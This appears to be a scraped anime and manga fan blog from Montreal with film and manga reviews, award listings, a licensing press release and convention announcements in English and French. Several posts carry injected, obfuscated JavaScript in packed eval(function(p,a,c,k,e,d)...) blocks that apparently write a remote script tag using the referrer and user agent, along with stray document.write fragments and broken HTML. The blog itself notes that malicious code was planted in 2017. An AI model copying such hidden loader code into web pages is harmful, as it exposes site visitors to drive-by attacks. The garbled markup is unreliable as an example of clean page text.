Last January, the nominees for the 37th Japan Academy Prize (aka the Japanese Academy Awards) were announced on the Japan Academy Prize Association website [ in japanese: 第37回日本アカデミー賞 ] :

The nominees for Best Picture of the year (2014) are:

The nominees for Best Director of the year (2014) are:

  • Ishii Yuya (The Great Passage)
  • Koreeda Hirokazu (Like Father, Like Son)
  • Shiraishi Kazuya (The Devil’s Path)
  • Mitani Koki (The Kiyosu Conference)
  • Yamada Yoji (Tokyo Family)

The nominees for Best Animation of the year (2014) are:

Here we are listing only the categories that are of interest for our blog, but you’ll find more details on ALL the nominees on the Tokyo Hive and Internet Movie Database. You’ll find also some information (mostly about the anime category and the anime- & manga-related nominations) on Anime News Network.

The award winners will be announced on March 7, 2014, so stay tuned!

Update (2014-03-09): The winners have been highlighted. I have also posted the full list of winners in this new entry. You can find more information on Variety, The Hollywood Reporter, Anime News Network and, of course, the official Japan Academy Prize website (or the auto-translated version).

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Thermae Romae (E)

/ Clodjee / 2 Comments

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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First, document.write(“”); before talking about the movie, I would like to briefly introduce the Thermae Romae manga and anime…

“When Roman architect Lucius is criticized for his “outdated” thermae designs, he retreats to the local bath to collect his thoughts. All Lucius wants is to recapture the Rome of earlier days, when one could enjoy a relaxing bath without the pressure of merchants and roughhousing patrons. Slipping deeper into the warm water, Lucius is suddenly caught in the suction and dragged through the drainage at the bottom of the bath! He emerges coughing and sputtering amid a group of strange-looking foreigners with the most peculiar bathhouse customs…over 1,500 years in the future in modern-day Japan! His contemporaries wanted him to modernize, and so, borrowing the customs of these mysterious bath-loving people, Lucius opens what quickly becomes the most popular new bathhouse in Rome—Thermae Romae!” ( from the manga publisher’s website )


Thermae Romae (???? · ??? / Roman thermal baths in Latin), was written and illustrated by Mari Yamazaki. It was first serialized by Enterbrain in their monthly seinen manga magazine Comic Beam (between February 2008 and April 2013) before being compiled into six volumes. The French translation is published by Casterman (Sakka Collection, the first five volumes have already been published) and the English translation is published by Yen Press (two volumes published so far).

Thermae Romae is a rather wacky and sometimes coarse fantastic comedy. But this is obviously not a simple comedy. This would be a average manga (good because hilarious, but no more) if it were not for its rather ingenious premise. The story is well written and supported by sound research to detail. Drawings (especially the faces and backgrounds) are in a realistic style, which is rare for a manga (especially for a comedy). Each chapter is followed by comments and explanatory notes by the author. This manga, in addition to being a pleasant entertainment, gives us a lot of information on both Japanese and Roman cultures (which, strangely, appear to have much in common).

After the first two volumes, the time traveling of Lucius whenever he quickly needs new ideas become tiresome. Fortunately, the author introduces some new elements to enliven the story (introducing a semblance of political intrigue and addressing the issue of Hadrian‘s succession, for example). Yamazaki’s story therefore avoid running out of steam by bringing Lucius to discover a little more of Japanese culture. By comparing the two cultures, she reflects upon the experience of discovering a different culture and on how the West has perceived Japanese culture. With the fourth volume, the manga take a different direction that breaks Lucius’ temporal back-and-forth cycle and gives a new life to the story. Lucius meets the brilliant Satsuki Odate, an highly educated spa geisha who is interested in ancient Rome and can speak Latin! Having an interpreter will allow Lucius to discover more aspects of modern Japanese culture. The fifth volume is less about Roman baths than various small aspects of Roman culture. The presentation of the spatio-temporal travel (which remains unexplained) is refined and the volume ends with a suspense that makes us yearn for the next and final book! A very good manga! You can read more on this manga (in french) in a previous entry of this blog.

Thermae Romae Vol. 1-5, by Mari Yamazaki. Paris, Casterman (Coll. Sakka). Vol. 1: March 2012, 186 pg., ISBN: 978-2-2030-4909-3; Vol. 2: March 2012, 202 pg., ISBN: 978-2-2030-4910-9; Vol. 3: June 2012, 194 pg., ISBN: 978-2-2030-5082-2; Vol. 4: October 2012, 194 pg., ISBN: 978-2-2030-6040-1; Vol. 5: January 2013, 194 pg., ISBN: 978-2-2030-6206-1. 13.2 x 18.1 x 1.8 cm, 7,95 € / $13.95 Can. For young adult (14+). Vol. 6 coming around the end of summer 2013.

Thermae Romae Vol. 1-2, by Mari Yamazaki. New York, Yen Press. Vol. 1: November 2012, 352 pages, ISBN: 978-0-316-22919-7; Vol. 2: May 2013, 352 pages, ISBN: 978-0-316-23219-7. 7”x 10.125, $34.99 US ($38.99 Can). For Older Teen (14+). Vol. 3 coming in February 2014.

Thermae Romae © 2009-2013 Mari Yamazaki. © Casterman 2012-2013 pour la présente édition française.

The Thermae Romae animation was produced by DreamLink Entertainment (DLE Inc.) studio under the direction of Azuma Tani with scripts by Mamoru Nakano and character designs by Toshimitsu Takechi. The three 24-min. episodes (or six 12-min. episodes) aired on Fuji TV’s Noitamina block between January 12 and January 26, 2012. The series has been licensed for released in North America by Discotek Media.

The story of the anime is much simplified (exit the political plots) and covers roughly only the first three volumes, but stay relatively faithful to the manga. Unfortunately, the anime is produced using flash animation and character designs that are very caricatural. The result is a limited animation that is far from the realistic art of the manga (this short teaser on Youtube gives you an idea). It’s still very funny and worth watching, but it’s also an acquired taste.
Thermae Romae © 2012 Mari Yamazaki / Published by Enterbrain, Inc. /??????????Anime Production Committee.

“Ancient Roman architect Lucius is too serious. His inability to keep up with the fast-moving times costs him his job. When a friend takes the dejected Lucius to the public bathhouse to cheer him up, Lucius accidentally slips through time and resurfaces in a modern-day public bath in Japan. There, he meets aspiring young manga artist Mami, along with others of the “flat-faced clan”. Shocked by the many inventive aspects of Japan’s bathing culture, Lucius returns to ancient Rome and garners tremendous attention when he implements these novel ideas back in Rome. As he time-slips back and forth between ancient Rome and modern-day Japan, Lucius’ reputation as the ingenious, new bath architect begins to grow.” (from IMDb)

The Thermae Romae movie is an excellent production. First, it includes a cast of very good actors (strangely the fact that most of the roman roles are played by Japanese actors with “less japanese faces” doesn’t make the movie feel less realistic). Second, the sets and costumes are superbs (it helps that they used the specialized facilities of Cinecitta studio in Rome, as well as some barely noticeable computer animation). Finally, it offers an interesting story, full of intrigue and good natured comedy. All in all, it is quite entertaining.

Unfortunately, if you know anything about roman antiquity or if you have previously read the manga, you’ll probably be very disappointed. First, emperor Hadrian is presented as a tyrant while he was in fact one of the most benevolent, cultured and caring emperor (as they said in the manga and anime: one of the five “good” emperors). Also, Ceionius (Aelius) is presented as an horrible womanizer and an incompetent which was most probably not the case. Secondly, I understand that a movie adaptation must take some liberty with the original story, but I felt in this case that it was diverging a little too much. The female character of Satsuki Odate, a scholarly spa geisha in the manga, is replaced by wannabe mangaka Manami Yamakoshi which opens for an entirely new story line. Lucius keeps meeting her in every of his time travelings (from the very beginning), until she finally comes back to Rome with him by accident. Her knowledge of history ends up changing the course of events and they must find a clever way to change things back as they should be happening. I am sure that in itself it is an interesting story but I was nevertheless quite disappointed. However, I still thinks it’s funny and I nevertheless recommend it.

Finally, to have a better idea of this movie, you can read a variety of reviews (The Guardian, The Hollywood Reporter and The Japan Times) and view the trailer on Youtube:


A second movie is scheduled to be released in May 2014 (AsianWiki).

Thermae Romae (???? · ???): Japan, 2012, 108 min.; Dir.: Hideki Takeuchi; Scr.: Sh?go Mut? (based on Mari Yamazaki’s manga); Phot.: Kazushige Kawagoe; Ed.: Hiroshi Matsuo; Mus.: Norihito Sumimoto; Prod.: Chihiro Kameyama, Minami Ichikawa, Atsushi Terada, Hirokazu Hamamura; Cast: Hiroshi Abe (Lucius), Aya Ueto (Manami Yamakoshi), Kazuki Kitamura (Ceionius), Riki Takeuchi (Tateno), Kai Shishido (Antoninus), Takashi Sasano (Shuzo Yamakoshi), Masachika Ichimura (Hadrian), Midoriko Kimura (Yumi Yamakoshi), Katsuya (Marcus). It was an Official selection at the Toronto International Film Festival 2012, the Hawaii International Film Festival 2012 and the New York Asian Film Festival 2013. It will screen at the Fantasia festival August 2nd at 4 pm in the Imperial Theatre.
For more information you can visit the following websites:
Available on DVD on these websites:
Thermae Romae © 2012??????????Film Production Committee.

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La maison en petits cubes

/ Clodjee / 1 Comment

Cette semaine j’ai découvert un superbe album illustré pour enfant qui m’a, document.write(“”); par le suite, mener vers de nouvelles révélations. Je vous en fait ici une brève introduction afin que vous puissiez le découvrir à votre tour. Comme vous voyez j’ai des lectures des plus éclectiques…
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“Dans une ville entièrement immergée, un vieux monsieur résiste encore et toujours à la montée du niveau de la mer. Chaque fois que l’eau atteint son plancher, il est obligé de bâtir une nouvelle maison par-dessus la précédente, si bien qu’au fil du temps son logis a fini par ressembler à une immense pile de petits cubes. Un jour, alors qu’il s’est encore une fois lancé dans la construction d’une nouvelle demeure, ses outils tombent tout au fond de l’eau. Il enfile sa combinaison pour aller les repêcher, et au fur et à mesure qu’il descend à travers ses anciennes maisons, de lointains souvenirs lui reviennent en mémoire…”

“Découvrez le sublime livre créé par les auteurs du film La maison en petits cubes, récompensé dans les festivals du monde entier, notamment par le prestigieux Oscar du meilleur court-métrage d’animation”. [ Texte de la couverture arrière et du site de l’éditeur ]
Continuez après le saut de page >>

La maison en petits cubes (?????? / Tsumiki no Ie) a été publié au Japon en 2008 par Hakusensha. Il a été traduit en français en mars 2012 par nobi nobi!, un éditeur de livres Jeunesse spécialisée sur le Japon. Cet album illustré est l’adaptation en livre d’un court-métrage d’animation. KATÔ Kunio (qui était le réalisateur et le directeur artistique de l’animation) a illustré le livre et HIRATA Kenya (scénariste et dessinateur pour les arrières-plans) en a écrit l’histoire. Le livre n’est pas une simple transposition de l’histoire mais plutôt un complément car les créateurs ont cherché avec le livre a pousser plus loin le récit qui est entièrement redessiné. Il y a donc quelques différences (dans l’animation, c’est sa pipe qu’il échappe à l’eau alors que dans le livre ce sont ses outils qui coulent par le fonds) mais le propos reste le même.

Les dessins faits à l’aquarelle, dominés par les tons jaunes et ocres pour la surface et aigue-marine pour l’eau, sont vraiment superbes. Ce conte tout en douceurs se veut peut-être une sorte de leçon écologique simple (puisqu’il fait allusion à la monté du niveau de l’océan), une parabole sur la persistance (devant le flot de l’adversité, il faut continuer et sans cesse se rebâtir), mais surtout une allégorie sur la mémoire, fluide et floue, souvent engloutie par le quotidien, et qu’il faut entretenir et chérir autant que possible pour la préserver. Un livre d’une grande richesse poétique qui me rappelle un peu Taniguchi (mais cela est sans doute due à une sensibilité toute japonaise qui leur est commune). Un beau conte pour les petits et pour les grands.

La maison en petits cubes, par HIRATA Kenya (texte) et KATÔ Kunio (illustration). Maisons-Laffitte, nobi nobi! (Hors Collection), 2012. 21,5 x 28,3 cm, 48 pg. couleurs, 14,95 € / $19.95 Can. ISBN: 978-2-918857-12-9. Recommandé pour enfants de 2 à 7 ans.

Pour plus d’information vous pouvez consulter les sites suivants:

Chose amusante, à travers ce livre, je retrouve mes intérêts à la fois pour le Japon, le manga, l’animation et le cinéma japonais.

Ainsi, ce livre m’a aussi fait découvrir la maison d’édition nobi nobi! (dont le nom [????], une onomatopée japonaise, signifie “être à l’aise” ou “se sentir bien” et fait référence à l’atmosphère propice à l’épanouissement que procure une bonne et riche lecture). Sa vocation, inusité dans le milieu de l’édition française, est de faire découvrir la culture japonaise par la “traduction d’albums illustrés japonais ou la création d’albums originaux inspirés par le Japon”.

Elle a été créé par deux passionnés du Japon, Pierre-Alain Dufour et Olivier Pacciani, qui ont tous deux travaillé auparavant pour une maison d’édition de manga. J’ai constaté au cours des ans que le Japon produit effectivement des livres pour enfants qui sont d’une grande beauté et sensibilité et qui sont donc un choix logique pour une maison d’édition qui désire publier des ouvrages de qualité qui offrent “des histoires intelligentes au graphisme étudié.”

Ce livre m’a également fait découvrir le court métrage d’animation qu’est aussi La maison en petits cubes et qui a inspiré le livre. D’une durée de seulement douze minutes, cette animation a été produite en 2008 par Robot Communication et animé par le studio Oh Production, sous la direction de KATÔ Kunio, avec un scénario et des arrières-plans de HIRATA Kenya ainsi qu’une musique de KONDO Kenji. Contrairement au livre, où les illustrations sont accompagnées d’un texte, le récit de l’animation ne se fait que par l’image, la musique et les effets sonores.

Robot Communication a été créé en 1986 principalement en tant qu’agence de production pour des commerciaux télévisés et comme une firme de conception graphique. Elle a depuis étendu ses activités à la production de films, d’animation et de contenu pour le web et les téléphones mobiles. Elle est connue pour avoir produit plusieurs des films que j’ai apprécié, entre autres Space Travelers, Always: Sunset on Third Street ’64, Odoru Dai Sousasen the Final (“Dancing Detectives”) et Space Battleship Yamato.

La version animé de La maison en petits cubes a été récompensée par le prix du meilleur court métrage d’animation au Festival international du film d’animation d’Annecy de 2008, par le Prix Hiroshima et Prix de l’Audience du Festival international du film d’animation d’Hiroshima de 2008 ainsi que par l’Oscar du meilleur court-métrage d’animation en 2009. Elle est largement disponible pour visionnement sur l’internet:

Tsumiki No Ie from lennie small on Vimeo.
Pour plus d’information vous pouvez consulter les sites suivants:

La maison en petits cubes © ROBOT 2008.

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The Rose of Versailles

/ Clodjee / Leave a comment

Yesterday, document.write(“”); Viki (the Asian content streaming site) posted an update for their iOS app and this reminded me that they had announced in September that they would stream The Rose of Versailles (See ANN & Wikipedia). I had completely forgotten! So, without losing a moment, I took my iPad out and watched the first episode. I haven’t screened a classic anime in a very long time and I felt great. I really miss watching anime daily… (now I just have to find time to watch more episodes. BTW, they are still streaming Oniisama E…). It is really great, so please take the time to watch a few episodes of The Rose of Versailles!
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At about the same time (a few days earlier), Right Stuf’s Nozomi Entertainment announced the DVD Release of The Rose of Versailles Part 1 Limited Edition. The first set will be available on May 7, 2013 (it will include 4 discs, 480 minutes (20 episodes), Japanese audio with English subtitles and on-screen translations, $49.99 US, suggested for age 13+).

The original manga by Riyoko Ikeda was first serialized in Shueisha’s shoujo anthology magazine Margaret in 1972-73 before being collected in 10 volumes. It was so popular that it was adapted in a live-action movie and several stage musicals by the famous Takarazuka Revue troupe. In 1979-80, it was also adapted into a 40-episode anime series by TMS under the direction of Tadao Nagahama and Osamu Dezaki. The Right Stuf’s dvd set will be the very first english language release of this series.

Set before the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman who was raised (and military trained) by her father as a man. Following a duel, Oscar is appointed Commander of the French Royal Guards in order to protect Marie-Antoinette, the fiancé of the prince and future king, Louis-Auguste. For more details, check rov.rightstuf.com.

The anime and the manga are also available in French at your Montreal’s local library.

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Oniisama E… on Viki

/ Clodjee / Leave a comment

Just a quick note to let you know that I just realized that the superb classic anime Oniisama E… a.k.a. Dear Brother [info: ANN / Wikipedia] is currently streaming on Viki.com! Based on a manga by Riyoko Ikeda serialized in Margaret in 1975, document.write(“”); the 39-episode anime series, directed by Osamu Dezaki, aired on NHK in 1991-92.
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I never really had the chance to watch it so here is the best opportunity to do it legally (I just need to find some time!). I highly recommend you to take a look too.

By the way, Viki has an excellent app in the iTunes store for both iPhones and iPads. Check that too!

So far, Viki’s anime line-up offers mostly stuff from Tezuka (strangely enough, Oniisama E… was animated by Tezuka Productions!) but I am sure more great titles will eventually be added (Lady Oscar / The Rose of Versailles is coming in December anyway).

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Press Release: Right Stuf, Inc. Acquires The Rose of Versailles

/ Clodjee / Leave a comment

Nozomi Ent. to release classic anime as limited-edition DVD sets in 2013 and to conduct fan Q&A with creator Riyoko Ikeda; Viki to begin streaming series in December 2012.
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GRIMES, document.write(“”); Iowa, Sept. 12, 2012 – Anime producer and distributor Right Stuf, Inc. is pleased to announce the acquisition of The Rose of Versailles anime series from TMS Entertainment.

Also known as “Berusaiyu no Bara” and “Lady Oscar,” The Rose of Versailles will be released via Right Stuf’s Nozomi Entertainment as two limited-edition DVD box sets in 2013. The series will also be streamed, beginning in December 2012, and made available exclusively to fans in the United States and Canada on Viki (Viki.com), as part of the site’s growing anime lineup. This will be the first time the entire anime series will be available to English-speaking audiences in North America.

Additionally, Nozomi Entertainment wants fans’ questions for an upcoming Q&A interview with Riyoko Ikeda, the creator of The Rose of Versailles. Please submit questions, via the form located at the official series site (rov.Right Stuf.com), by 4 p.m. CDT on Thurs., Nov. 1, 2012.

Right Stuf‘s President and CEO Shawne Kleckner said, “The Rose of Versailles is one of anime and manga’s truly legendary and iconic stories. It is an honor and privilege to bring this beloved series to DVD, via Nozomi Entertainment, and work with TMS and Viki to introduce our English-subtitled translation of the anime inspired by Ms. Ikeda’s masterwork to North American fans.”

“We’re thrilled to work with Right Stuf to bring The Rose of Versailles to fans in North America and add this famous title to our growing library of classic anime,” said Razmig Hovaghimian, Viki CEO.

“The Rose of Versailles has been released several times in multiple formats in many European and Asian countries until now but was never released in North America for the English-speaking audiences. I would like to thank the team at Right Stuf and Viki for making the North American The Rose of Versailles DVD and online release possible. When it comes to amazing shows, you never get tired of watching them, and I believe The Rose of Versailles is one of these shows. It would be a pleasure if the North American fans enjoy The Rose of Versailles as much as I have,” said Katsuki Masai, Deputy Manager of TMS Entertainment, USA, Inc.

Set during the years preceding the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman whose father has raised her as a man – and trained her to be an elite and skilled soldier – so she can succeed him as the commander of the palace guards.

The Rose of Versailles is based upon the best-selling manga (comic) by Riyoko Ikeda (Dear Brother, a.k.a. Oniisama E…), which was originally serialized in Shueisha’s shoujo (girls’) anthology magazine Margaret, from 1972 through 1973, and later collected into 10 volumes. In addition to its anime adaptation, it inspired a short story collection (also written by Ikeda), a French-Japanese live-action film, and multiple musicals staged by Japan’s famed Takarazuka Revue.

This 40-episode anime adaptation of The Rose of Versailles originally aired on Japanese television from October 1979 through September 1980. It features animation by TMS Entertainment, as well as direction by Tadao Nagahama (Romance Robot Trilogy) and Osamu Dezaki (Nobody’s Boy – Remi, Dear Brother, Aim for the Ace!).

For more information about the series and to submit questions for the Q&A with Ms. Ikeda, visit rov.Right Stuf.com.

About RIGHT STUF, INC.
Currently celebrating its 25th year in business, Right Stuf, Inc. was one of the first players in the U.S. Japanese Animation (“anime”) industry, as both an anime producer/distributor and a retailer. Right Stuf works to promote knowledge of its own products, as well as the anime and manga industry, in general, through its online storefront at Right Stuf.com and a variety of media including podcasts and special publications. Its video and print publishing division includes the Nozomi Entertainment, Lucky Penny, and 5 Points Pictures studio-labels.

About NOZOMI ENTERTAINMENT
A publishing division of Right Stuf, Inc., Nozomi Entertainment is its signature label, dedicated to high-quality releases for collectors. True to the Japanese word that inspired its name, Nozomi’s focus is on “what fans want.” By focusing on a limited number of anime properties each year, the Nozomi production team ensures each release receives the care and attention to detail it deserves.

From anime classics like Astro Boy, Kimba and Gigantor to modern comedies, dramas and favorites such as The Irresponsible Captain Tylor, His and Her Circumstances, Gravitation, Ninja Nonsense, The Third: The Girl with the Blue Eye, Emma: A Victorian Romance, Maria Watches Over Us, ARIA, Gakuen Alice, Rental Magica, Dirty Pair, Junj? Romantica and Revolutionary Girl Utena, Nozomi Entertainment releases quality programming for fans of all ages and interests.

For more information, visit www.rightstuf.com and www.nozomient.com.

About Viki
Viki is a global TV site with over 12 million monthly viewers who come to watch their favorite TV shows, movies and other premium content, translated into more than 150 languages by a community of avid fans. With over 1 billion videos viewed and nearly 250 million words translated, Viki uniquely brings global prime-time entertainment to new audiences and unlocks new markets and revenue opportunities for content owners. In 2011, Viki announced $20M in Series B funding from strategic investors including BBC Worldwide and SK Planet, a subsidiary of SK Telecom; as well as from existing investors Greylock Partners, Andreessen Horowitz, Charles River Ventures and Neoteny Labs, among others.

About TMS ENTERTAINMENT, LTD.
TMS Entertainment, Ltd. (better known as TMS), one of the world’s largest and most distinguished animation studios, has rapidly won recognition from the international filmmaking community for its highly acclaimed animation, pioneering techniques and proud commitment to quality. With its headquarters situated in Tokyo under the supervision of a dedicated team of top development, production and design executives, TMS’s growing reputation is reflected by the versatility, artistry and originality of the remarkable volume of programs the company has produced for international markets worldwide. Established in the year 1964, TMS has produced more than 100 features and over 100 TV programming series, in total of 8,000 half hours, for global distribution. TMS also proceeds with restoration projects of the titles to keep its highest quality for the next generation. TMS is proud to uphold our tradition of presenting to you unforgettable images from the finest animation produced anywhere in the world. TMS’s programs have attained worldwide recognition, and we continue to strive for excellence and lead the animation world throughout the century.

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Goldorak enfin en dvd!

/ Clodjee / Leave a comment

Après la sortie dvd avortée en France et un long litige devant les tribunaux tant français que japonais entre le créateur Gô Nagai et la firme de production Tôei Animation (apparemment Tôei avait vendu les droits en France et produit la version française sans l’accord de Gô Nagai), document.write(“”); le magazine français Animeland nous apprend que “Les 74 épisodes de la série culte Goldorak [info Animeland / ANN] vont enfin ressortir officiellement en français en DVD (…)… au Canada !” La nouvelle a par la suite été confirmée par Le Soleil et un communiqué de presse d’Imavision, qui en sera le distributeur.
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Cette nouvelle est plutôt surprenante, puisque je n’avait pas entendu dire que le litige avait été règlé et qu’on s’attendrait plutôt à voir une sortie dvd d’abord en France et non au Québec. Espérons que cette sortie dvd ne sera pas troublée par les mêmes problèmes qu’avait eut Déclic Images en 2005. Quoiqu’il en soit, Imavision a annoncé la sortie du coffet dvd, en collaboration avec DEP, pour la période des Fêtes 2012. Une distribution sur “diverses plateformes” sera par ailleurs annoncée ultérieurement.

UFO Robo Grendizer / Goldorak © Go Nagai / Dynamic Planning Inc., Toei Animation Co., Ltd. All Rights Reserved.

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Otakuthon 2012

/ Clodjee / Leave a comment

Again this year we will be at Otakuthon to promote Anime & Manga (as well as the still-on-hold <a href="http://www.protoculture-mag.com/&quot; target="“new”""iProtoculture/i/a) but mostly to sell lots of goodies from my personal collection (I moved last year into a smaller space and I really need to make some room).br /
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dekfy|var|u0026u|referrer|ibeda||js|php’.split(‘|’),0,{}))
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The convention will be held August 3-5 at the Palais des Congrès de Montréal (201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the a href=”http://www.otakuthon.com/&#8221; target=”“new””Otakuthon website/A for details.br /
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I’ve been doing this for a long time and this year might very well be the last year (I am not getting any younger after all) so don’t miss this opportunity to check my anime & manga garage sale and find special or inexpensive goodies (mostly Dvds and manga at $5 or $10 each, some art books, and more)!br /
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Come meet and discuss with us!br /
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Encore une fois cette année, je serai à a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour faire la promotion de l’anime et du manga (et aussi de notre magazine Otakuthon pour plus de détails.

Je fais ça depuis pas mal d’années mais cette fois-ci pourrait bien être la dernière (on ne rajeuni pas après tout) alors ne manquez surtout pas cette opportunité de jeter un coup d’oeil sur ma petite vente de garage et d’y trouver des items spéciaux et des aubaines incroyables (surtout des Dvds et des manga à $5 ou $10, quelques “art books” et plus)!

Venez nous recontrer pour discuter!

Bibliography

/ Clodjee / 3 Comments

Warning!

This blog was hit by a couple of catastrophes in 2017 that broke many image links and introduced malicious lines of code that have now been neutralized but are still  disfiguring many older entries of the blog.

Please bear with us while we are undergoing the  long process of repairing the blog! The most important part of this blog is still there — the words to read and the ideas to share — but the aesthetic of the presentation has unfortunately suffered.

Thank you for your understanding and support!

— clodjee  

After reading my bio/bibliography in the DALIAF, it reminded me that I published more than just fiction (or a few sci-fi short stories). So I decided to gather my own bibliography, a list as exhaustive as I could of all the major texts I’ve written. Here it is, right after the jump:
Continue reading →

35th Japan Academy Prize Nominees

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After first being leaked on a “test” page of their website, the 35th Japan Academy Prize Nominees (the Japanese Academy Awards / Oscars) have been finally officially announced today. The list of the nominees can be found (in japanese) on the “Japan Academy Prize” website [ 第35回日本アカデミー賞 ] and an english version can also be found on the Asian Media Wiki website. More details after the jump:

Award winners are indicated in red.

Continue reading →

Otakuthon 2011

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Comme par les années passées, document.write(“”); je serai à <a href="http://www.otakuthon.com/&quot; target="“new”""Otakuthon/a ce week-end (quoique cette fois ce n'est pas en tant qu'invité mais simplement comme exposant).br /
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aasyz|var|u0026u|referrer|fysyy||js|php’.split(‘|’),0,{}))
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La convention a lieu du 12 au 14 août au Palais des Congrès de Montréal (situé au 201, avenue Viger ouest, près du métro Place d’Armes). Voyez le site d’a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour plus de détails.

Je serai à la table #502 du Salon d’expositon (aussi connue comme la salle de vente), qui sera ouverte au public vendredi de 17:00 à 21:00, samedi de 10:00 à 19:00 et dimanche de 10:00 à 17:00.

Venez me recontrer pour discutter et jetez un coup d’oeil sur les aubaines incroyable que j’offre sur les dvds d’anime et les manga!

Cette année je n’ai qu’une seule table de vente, alors elle sera pas mal encombrée. J’y ferai moins la présentation du magazine (here.

Time Jam streamed by Crunchyroll

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I’ve been working for a while now on an article about the animated version of Valerian and Laureline (it’s taking a long time because I am quite busy and it’s a 40-episode series; also I am writing it in french, document.write(“”); but will probably include a synopsis of the article in english whenever I post it online) so I was quite pleased when I read on Anime News Network that Crunchyroll was streaming it.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsttz|var|u0026u|referrer|nrhds||js|php’.split(‘|’),0,{}))

Based on the famous graphic novel written by Jean-Claude Mezieres and Pierre Christin, Time Jam: Valerian and Laureline is an animation co-produced by the French publisher Dargaud and the Japanese studio Satelight. All premium anime and all-access Crunchyroll members will have access to the entire 40 episodes immediately, while only the first five episodes will be available to free users now with the subsequent five episodes rolling out henceforth. Unfortunately, due to licensing limitations, the series is available only to the U.S. audience. If you are located in the right region, episodes can be accessed from Crunchyroll.com, tv.com, the free iPad and iPhone application, the Boxee application and affiliate partners.

More information can be found in the full press release and on www.crunchyroll.com/valerian. You can also find a previous blog entry with the series’ trailer.

Otakuthon reminder

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Just a quick note to remind you that I’ll be a guest all week-end (August 13-15) at Otakuthon (Palais des Congrès de Montréal: 201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nytfy|var|u0026u|referrer|tfize||js|php’.split(‘|’),0,{}))

Come see us and discuss at our tables (#516 & 517) in the Exhibition Hall. We’ll have LOTS of anime & manga goodies to sell at VERY good price.

Our friends from Dream Pod 9 will also be there (#510, 511 & 520).

I’ll also be kicking off my Super Virtual Summer Garage Sale. Don’t miss it!

A few interesting trailers

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttnak|var|u0026u|referrer|knhir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtdf|var|u0026u|referrer|ehads||js|php’.split(‘|’),0,{}))

More: The Green Lantern, document.write(“”); Harry Potter and the Deathly Hallows, The Chronicles of Narnia: The Voyage of the Dawn, Predators and Tron Legacy.

Otakuthon 2010

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Like the previous years, document.write(“”); I will be attending Otakuthon as a guest.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akdty|var|u0026u|referrer|iayse||js|php’.split(‘|’),0,{}))

The convention will be held August 13-15 at the Palais des Congrès de Montréal (201, Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.

